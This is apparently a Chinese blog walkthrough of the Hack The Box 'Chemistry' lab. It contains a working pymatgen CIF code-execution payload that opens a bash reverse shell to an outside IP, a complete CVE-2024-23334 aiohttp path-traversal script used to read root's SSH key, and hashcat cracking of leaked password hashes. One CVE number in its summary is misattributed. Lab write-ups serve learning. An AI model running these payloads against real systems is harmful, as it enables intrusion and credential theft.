HTB-Chemistry靶机渗透,CVE-2024-23334系统目录遍历,导致权限提升

HTB-Chemistry靶机渗透,CVE-2024-23334系统目录遍历,导致权限提升

原创 仙草里没有草噜丶 泷羽Sec 2024-11-25 11:58

~ 两个人挺好,一个人也不错。 ~

Goby2024红队版工具分享,附2024年漏洞POC下载

谁的能拒绝这样一款终端呢?

靶机

image-20241125150033245

靶机渗透

首页

image-20241123124934063

我们去注册一个用户看看

image-20241123145738475

注册admin用户的时候,提示了一句该用户已存在

image-20241123145747496

那么直接sql注入字典爆破,测试有没有sql注入

image-20241123144918314

清一色的1316

image-20241123145038357

cookie伪造

image-20241123145441075

image-20241123145524206

也不行,我们注册一个普通用户进去,发现一个文件上传点

image-20241123150026249

查看到是flask项目

image-20241123150350825

上传任意文件,这个文件上传的方法不管用

image-20241123150532947

来到刚进来的首页,看提示说能上传CIF晶体信息文件

白小羽
晶体学信息文件(Crystallographic Information File, CIF)是以“.cif”结尾的计算机文件,它包含了晶体的晶胞参数、原子坐标、文献资料等信息。各种晶体、材料计算处理软件,如Vesta,Diamond,GSAS,Mercury,Rasmal,Materials Studio等都以晶体信息文件作为输入或者输出结果。

CIF详细(看不懂):

https://blog.csdn.net/Ai_yunyun/article/details/132496026

image-20241123150621451

找到一个RCE文件,这里使用的是英文,用中文的话搜不到什么东西

image-20241123151343627

翻译软件

image-20241123151714108

image-20241123152028995

修改POC

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'/bin/bash -i >& /dev/tcp/10.10.16.47/1450 0>&1\'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

image-20241123155515939

成功上线

image-20241123155531525

创建一个交互式终端

python3 -c "import pty; pty.spawn('/bin/bash')"

查找SUID文件

image-20241123182403800

查看操作系统信息

image-20241123181523398

查看版本信息

image-20241123181508838

查看/etc/passwd

image-20241123183640713

查找根目录的隐藏文件

image-20241123185910243

查找数据库中的表,sql语句中的from要区分好,不是form

image-20241123184816706

有三个可能的用户,记住这三个hash,待会要用到

image-20241123192646309

识别admin的hash密码,貌似是个md5加密

白小羽
hash-identifier :一款哈希算法识别工具,它能够帮助用户识别给定哈希值所使用的哈希算法。

image-20241123200242781

使用密码hash破解工具,john,失败了

image-20241123214111043

这里我们使用hashcat工具,进行密码碰撞

hashcat -m 0 2861debaf8d99436a10ed6f75a252abf /usr/share/wordlists/rockyou.txt # Approaching final keyspace - workload adjusted.

hashcat -m 0 197865e46b878d9e74a0346b6d59886a /usr/share/wordlists/rockyou.txt # Approaching final keyspace - workload adjusted.

hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt # unicorniosrosados

image-20241123215006375

有了第三个用户的密码可以猜测刚刚的22端口,进行ssh连接,登录成功(如果不能连的话直接在反弹的shell直接su切换用户)

image-20241123221424468

找到第一个flag

image-20241123231732052

检查sudo是否可以使用,列出所有可以用sudo执行的文件

image-20241123232056711

查看用户进程信息

ps -aux | grep root

看到了一个正在执行的py文件

image-20241125134035157

尝试访问,提示权限不足

image-20241125134312151

查看靶机网络连接

image-20241125134404083

使用curl查看响应

curl -I 127.0.0.1:8080

image-20241125135437386

可以看到 aiohttp 3.9.1版本的漏洞信息,CVE-2024-23334

image-20241125135701183

下载poc,查看其代码

import argparse
import http.client
import textwrap
import urllib
 
 
def exploit(url, file, dir):
    parsed_url = urllib.parse.urlparse(url)
    conn = http.client.HTTPConnection(parsed_url.netloc)
 
    traversal  = "/.."
    payload = dir
    for i in range(15):
        payload += traversal
 
        print(f'''[+] Attempt {i}                    Payload: {payload}{file}        ''')
 
        conn.request("GET", f"{parsed_url.path}{payload}{file}")
        res = conn.getresponse()
        result = res.read()
        print(f"                    Status code: {res.status}")
 
        if res.status == 200:
            print("Respose: ")
            print(result.decode())
            break
 
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-23334. LFI/Path-Traversal Vulnerability in Aiohttp",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent(''' Usage:            exploit.py -u http://127.0.0.1 -f /etc/passwd -d /static        ''')
    )
 
    parser.add_argument('-u', '--url', help="Aiohttp site url")
    parser.add_argument('-f', '--file', help="File to read")
    parser.add_argument('-d', '--directory', help="Directory with static files. Default: /static", default="/static")
 
    args = parser.parse_args()
    if args.url and args.file and args.directory:
        exploit(args.url, args.file, args.directory)
        print("Exploit complete")
    else:
        print("Error: One of the parameters is missing")

通过curl可以看到源码,并且文件的静态目录在/assets下

image-20241125142156137

查看使用方法

image-20241125142653846

执行读取/etc/passwd测试

python3 exp.py -u http://127.0.0.1:8080 -f /etc/passwd -d /assets

image-20241125143425366

读取 ssh 密匙,指定刚刚的静态目录

python3 exp.py -u http://127.0.0.1:8080 -f /root/.ssh/id_rsa -d /assets

image-20241125145106834

chmod 000 key
ssh [email protected] -i key

image-20241125144926294

image-20241125145941955

总结

本文主要用到的漏洞信息为

CVE-2024-9264 的RCE漏洞,在CIF文件解析的时候会被执行恶意代码,从而获取webshell

CVE-2024-23334 aiohttp 3.9.1 的目录遍历漏洞导致系统中的ssh密匙被读取,从而由普通用户的权限,上升到root权限,要么禁用密匙登录,就可以防范

用到的命令:

curl -I 127.0.0.1:8080 # 使用curl发送get请求,返回响应信息
ps -aux | grep root # 列出所有root用户的进程信息
hashcat -m 0 63ed86ee9f624c7b14f1d4f43dc251a5 /usr/share/wordlists/rockyou.txt # 使用hashcat 进行密码哈希破解,并指定字典目录
hash-identifier 63ed86ee9f624c7b14f1d4f43dc251a5 # 识别hash是由什么算法进行加密的
python -c "import pty; pty.spawn('/bin/bash')" # 创建一个交互式终端

往期推荐

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

放开双手 !SQL注入Fuzzing字典 (270个)

24年6月版本AWVS激活,AWVS漏洞扫描工具安装以及基本使用教程

开箱即用!265种windows渗透工具合集–灵兔宝盒

比kali更稳定,工具更多,更加适合开发的操作系统-Blackarch